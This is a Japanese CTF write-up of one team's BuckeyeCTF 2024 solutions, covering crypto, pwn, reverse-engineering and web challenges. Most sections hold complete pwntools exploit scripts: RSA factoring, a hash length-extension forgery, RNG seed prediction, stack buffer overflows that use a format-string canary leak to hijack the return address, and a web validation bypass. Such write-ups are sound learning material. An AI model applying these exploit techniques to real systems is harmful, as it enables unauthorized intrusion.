BuckeyeCTF 2024 writeup

BuckeyeCTF 2024 にチーム poteti fan club で参加した。日本時間で 2024-09-28 09:00 から 2024-09-30 09:00 まで。

結果は 11/648 位。
crypto 問題を一人で独占してしまって申し訳ない気持ちになった。

解法集

crypto

crypto/rsa

普通の RSA 暗号の鍵 (n, e) と暗号文 c が与えられるので、平文を復元せよという問題。
n が 128 ビットの素数 2 個の積であり短すぎるので、普通に素因数分解できる。

e = 65537
n = 66082519841206442253261420880518905643648844231755824847819839195516869801231
c = 19146395818313260878394498164948015155839880044374872805448779372117637653026

# Found by https://www.alpertron.com.ar/ECM.HTM
phi = 66082519841206442253261420880518905643125623107528489101140402490481535313232


def main() -> None:
    d = pow(e, -1, phi)
    m = pow(c, d, n)
    print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode())


if __name__ == "__main__":
    main()
crypto/hashbrown

HMAC みたいな認証タグをつける装置が与えられるので、"french fry" を含む妥当なデータを作れという問題。
認証タグが hash(secret + message) なので、length extension attack ができる。今回は 16 バイトごとに区切る形式のハッシュ関数なので、pad(元の文章) + "french fry" であればハッシュ値が計算できる。

from pwn import *
import hashbrown
import sys

local = len(sys.argv) == 1
io = process(["python3", "hashbrown.py"]) if local else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    io.recvuntil(b"Hashbrowns recipe as hex:")
    io.recvline()
    msg = bytes.fromhex(io.recvline().strip().decode())
    io.recvuntil(b"Signature:")
    io.recvline()
    sig = bytes.fromhex(io.recvline().strip().decode())

    # Forge MAC
    added_msg = b"french fry"
    added_block = b"french fry" + b"_" * 6
    new_sig = hashbrown.aes(added_block, sig)

    io.recvuntil(b"Give me recipe for french fry? (as hex)")
    io.recvline()
    io.sendline((hashbrown.pad(msg) + added_msg).hex())
    io.recvuntil(b"Give me your signiature?")
    io.recvline()
    io.sendline(new_sig.hex())
    io.recvuntil(b'Your signiature:')
    io.recvline()
    io.recvline()
    print(io.recvall().decode())


if __name__ == "__main__":
    main()
crypto/zkwarmup

mod 合成数平方根を知っているかどうかのゼロ知識証明。
実装をよく見ると Python 標準ライブラリーの random を使っていて、しかも現在時刻 (の秒未満を切り捨てたもの) で初期化している。
こうすると乱数が予測可能になるので平方根も予測できる。

"""
乱数が完全に予測可能
"""
import sys
import random
import time
from pwn import process, remote


local = len(sys.argv) == 1
io = process(["python3", "zkwarmup.py"]) if local else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    """
    main
    """
    start = time.time()
    io.recvuntil(b"n = ")
    n = int(io.recvline().strip().decode())
    random.seed(int(time.time()))
    predicted_x = random.randrange(1, n)
    io.recvuntil(b"y = ")
    y = int(io.recvline().strip().decode())
    if pow(predicted_x, 2, n) != y:
        print('Failed to predict x')
        io.close()
        return
    for iter_count in range(128):
        if iter_count % 20 == 0:
            print(f"# ({time.time()-start:.2f}s) Round {iter_count}")
        r = random.randrange(1, n)
        s = pow(r, 2, n)
        io.recvuntil(b"Provide s: ")
        io.sendline(str(s).encode())
        io.recvuntil(b"b = ")
        b = int(io.recvline().strip().decode())
        z = pow(r * pow(predicted_x, 1 - b, n), 1, n)
        io.recvuntil(b"Provide z: ")
        io.sendline(str(z).encode())
    print(io.recvall().decode())


if __name__ == "__main__":
    main()
crypto/treestore

「オブジェクトを格納する時以下のような挙動をするオブジェクトストレージがある。

  • データを 16 バイトのチャンクに分割する。
  • それらを 2 分木にして、マークル木として各ノードを {sha256 => value} の形で格納する。
  • 新しく追加された (もともと無かった) ノードの個数を返す。

最初にフラグの値が白黒で描画された flag.bmp が格納される。フラグを特定せよ。」という問題である。

bmp ファイルのフォーマットは、(ヘッダー 54 バイト) + (ピクセルの情報 4 バイト) * (ピクセル数) である。(参考: https://www.setsuki.com/hsp/ext/bmp.htm)
特に 16 バイト区切りに分けた場合最後のチャンクは 6 バイトになるので、6 バイトのチャンクの中身が特定できればそれが最後のチャンクだとわかる。
該当の bmp ファイルのピクセル部分は 00000000 か ffffffff のどちらかなので、最後のチャンクは 4 通りしかないし途中の 16 バイトのチャンクも 32 通りしかない。
マークル木の右側から辿り、なおかつ中間ノードとしてあり得るものの組み合わせを (それより下のノードの組み合わせを調べて) 列挙することで、この問題を解くことができる。

まずは以下のスクリプトを実行した。(競技サーバーに近い方がいいので、オハイオ州の近くで実行できる人に実行してもらった。)

"""
merkle tree の右端から辿っていきたい
"""
import sys
import time
from base64 import b64encode
from pwn import process, remote


local = len(sys.argv) == 1


def create_io():
    return process(["nc", "localhost", "1024"]) if local else remote(sys.argv[1], int(sys.argv[2]))


io = create_io()

def check_node_existence(data: bytes) -> bool:
    global io
    try:
        io.recvuntil(b"[*] To add a file to the treestore, enter bytes base64 encoded")
        io.recvline()
        io.recvuntil(b">>> ")
        io.sendline(b64encode(data))
        line = io.recvline().strip().decode()
        if line == "[-] Max storage exceeded!":
            print('# Max storage exceeded!')
            io.close()
            io = create_io()
            return check_node_existence(data)
        if line != "0 chunks were added" and line != "1 chunks were added":
            print(f'# Error: {line}')
            sys.exit(1)
        return line == "0 chunks were added"
    except EOFError:
        print('# EOFError, reconnecting...')
        io.close()
        io = create_io()
        return check_node_existence(data)

def main() -> None:
    """
    main
    """
    start = time.time()
    anchor = b'\0' * 6
    data = []
    for bits in range(32):
        tmp = b''
        for i in range(5):
            if (bits >> i) & 1:
                tmp += b'\0' * 4
            else:
                tmp += b'\xff' * 4
        data.append(tmp[2:18])
    gen1 = []
    for c in data:
        exists = check_node_existence(c)
        if exists:
            gen1.append(c)
    cur_len = 16
    rest_cand = None
    while True:
        paired = None
        for c in gen1:
            if c[-2:] != anchor[:2]:
                continue
            exists = check_node_existence(c + anchor)
            if exists:
                paired = c
                break
        if paired is None:
            pass
        else:
            anchor = paired + anchor
        nextgen = []
        for c0 in gen1:
            for c1 in gen1:
                if c0[-2:] != c1[:2]:
                    continue
                exists = check_node_existence(c0 + c1)
                if exists:
                    nextgen.append(c0 + c1)
        if len(nextgen) == 0:
            for c in gen1:
                if c not in anchor:
                    rest_cand = c
                    break
        gen1 = nextgen
        cur_len *= 2

        print(f'# time: {time.time() - start:.2f}s')
        print(f'# anchor: {len(anchor)}')
        print(f'# cur_len: {cur_len}')
        print(f'# gen1: {len(gen1)}')
        with open('log.txt', 'a') as f:
            f.write(f'anchor = {anchor}\n')
            f.write(f'cur_len = {cur_len}\n')
            f.write(f'gen1 = {gen1}\n')
        if len(gen1) == 0:
            break
    image_len = cur_len + len(anchor) - 54
    width = image_len // 32 // 4
    print(f'# image_len: {image_len}, width: {width}')
    with open('flag.bmp', 'rb') as f:
        data = f.read()
    forged = data[:0x12] + width.to_bytes(4, 'little') + data[0x16:54] + b'\0' * (cur_len - 54) + anchor
    if rest_cand is not None:
        assert len(rest_cand) == cur_len // 2
        forged = forged[:cur_len // 2] + rest_cand + forged[cur_len:]
    with open('forged.bmp', 'wb') as f:
        f.write(forged)


if __name__ == "__main__":
    main()

その後、ログから以下のようなスクリプトで復元した。

import ast

def main():
    pre_cand = None
    pre_cand2 = None
    rest_cand = None
    for line in open('log-yosupo.txt').readlines():
        exec(line, globals())
        if line.startswith('gen1 = '):
            rest = line.removeprefix('gen1 = ')
            rest = ast.literal_eval(rest)
            print(f'# len(rest): {len(rest)}')
            if len(rest) == 2:
                pre_cand = rest
            if len(rest) == 6:
                pre_cand2 = rest

    for r in pre_cand:
        if r not in anchor:
            rest_cand = r
            break
    for r in pre_cand2:
        if r not in rest_cand + anchor:
            rest_cand2 = r
            break
    print(f'# anchor: {len(anchor)}')
    image_len = cur_len + len(anchor) - 54
    width = image_len // 32 // 4
    print(f'# image_len: {image_len}, width: {width}')
    with open('flag.bmp', 'rb') as f:
        data = f.read()
    forged = data[:0x12] + width.to_bytes(4, 'little') + data[0x16:54] + b'\0' * (cur_len - 54) + anchor
    if rest_cand is not None:
        assert len(rest_cand) == cur_len // 2
        forged = forged[:cur_len // 4] + rest_cand2 + rest_cand + forged[cur_len:]
    with open('forged.bmp', 'wb') as f:
        f.write(forged)


if __name__ == "__main__":
    main()

beginner-pwn

beginner-pwn/runway1

https://dogbolt.org/?id=123722f7-fbf8-4f9d-ae33-17a6d9b3c077
get_favorite_food() の実行時、スタックは |変数など (72 バイト)| caller's rbp (4 バイト)| return address (4 バイト)| となっているので、return address を書き換えると ok。
PIE などではないので win() のアドレスは簡単にわかる。

import sys
from pwn import process, remote


local = len(sys.argv) == 1
io = process(['./runway1']) if local else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    io.recvuntil(b'What is your favorite food?')
    io.recvline()
    payload = b'A' * 76 + 0x080491e6.to_bytes(4, 'little')
    io.sendline(payload)
    io.interactive()


if __name__ == '__main__':
    main()
beginner-pwn/runway3

https://dogbolt.org/?id=dbc47717-942e-4bfe-b43d-f19a61221f9c
canary で保護されているので、その値を特定して傷つけないようにバッファーオーバーフローを起こす。

import sys
from pwn import process, remote


local = len(sys.argv) == 1
io = process('docker run -i --workdir /srv/app --rm --platform=linux/amd64 runway3 /srv/app/run'.split(' ')) if local \
    else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    io.recvuntil(b'Is it just me, or is there an echo in here?')
    io.recvline()
    payload = b'%13$p %14$p %15$p'
    io.sendline(payload)
    canary_str, rbp_value_str, retaddr_str = io.recvline().strip().split()
    assert canary_str.startswith(b'0x')
    assert rbp_value_str.startswith(b'0x')
    assert retaddr_str.startswith(b'0x')
    canary = int(canary_str, 16)
    rbp_value = int(rbp_value_str, 16)
    retaddr = int(retaddr_str, 16)
    print(f'# canary: {canary:#x}, rbp_value: {rbp_value:#x}, retaddr: {retaddr:#x}')

    # ローカルではなくリモートだと以下の問題に引っ掛かる。stack pointer を 16 の倍数にするために push 命令を 1 つ飛ばす必要がある。
    # https://www.reddit.com/r/ExploitDev/comments/i5beqt/error_got_eof_while_reading_in_interactive_in/
    desired_retaddr = 0x4011db
    print(f'# overwriting retaddr: {retaddr:#x} => {desired_retaddr:#x}')

    payload = b'A' * 40 \
        + canary.to_bytes(8, 'little') \
        + rbp_value.to_bytes(8, 'little') \
        + desired_retaddr.to_bytes(8, 'little')
    io.sendline(payload)
    io.recvuntil(b'You win! Here is your shell:')
    io.recvline()
    io.sendline(b'cat flag.txt')
    print(io.recvuntil(b'}').decode())


if __name__ == '__main__':
    main()

rev

rev/flagwatch

AutoHotkey スクリプトコンパイルしたものが与えられる。

https://github.com/A-gent/AutoHotkey-Decompiler で decompile すると RCData 以下にスクリプトっぽいものが出る。

wine decompiler/ResourceHacker.exe flagwatch.exe

これの RCData → 1 : 1033 を開くとコードが出てくるので、そこで指定されている encrypted_flag をコピーすれば良い。

encrypted_flag = [62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]


def main() -> None:
    flag = ""
    for b in encrypted_flag:
        flag += chr(b ^ 92)
    print(flag)


if __name__ == "__main__":
    main()
rev/thank
import sys
from pwn import process, remote

local = len(sys.argv) == 1
io = process(['./thank']) if local else remote(sys.argv[1], int(sys.argv[2]))


def main() -> None:
    content = open('thank.so', 'rb').read()
    io.recvuntil(b'What is the size of your file (in bytes)? ')
    io.sendline(str(len(content)).encode())
    io.recvuntil(b'Send your file!')
    io.recvline()
    io.sendline(content)
    print(io.recvall().decode())


if __name__ == '__main__':
    main()

web

web/quote

入力されたクエリーパラメーターに応じて名言を返す Web サービスがある。ただしアクセスが許可されているのは 0 番から 4 番までの 5 個のみ。

まず const i = Number(id); して i に対して検証してから parseInt(i) して添字を計算しているので、例えば i = 7e-20 であれば検証は通った上で parseInt(i) == 7 が成立する。
つまり、(サービス内の https://quotes.challs.pwnoh.io/register などにアクセスして JWT を手に入れた上で) https://quotes.challs.pwnoh.io/quote?id=7e-20 とかにアクセスすればチェックをバイパスできる。

まとめ

crypto が全体的に考察要素薄めで、パソコン要素多めだった。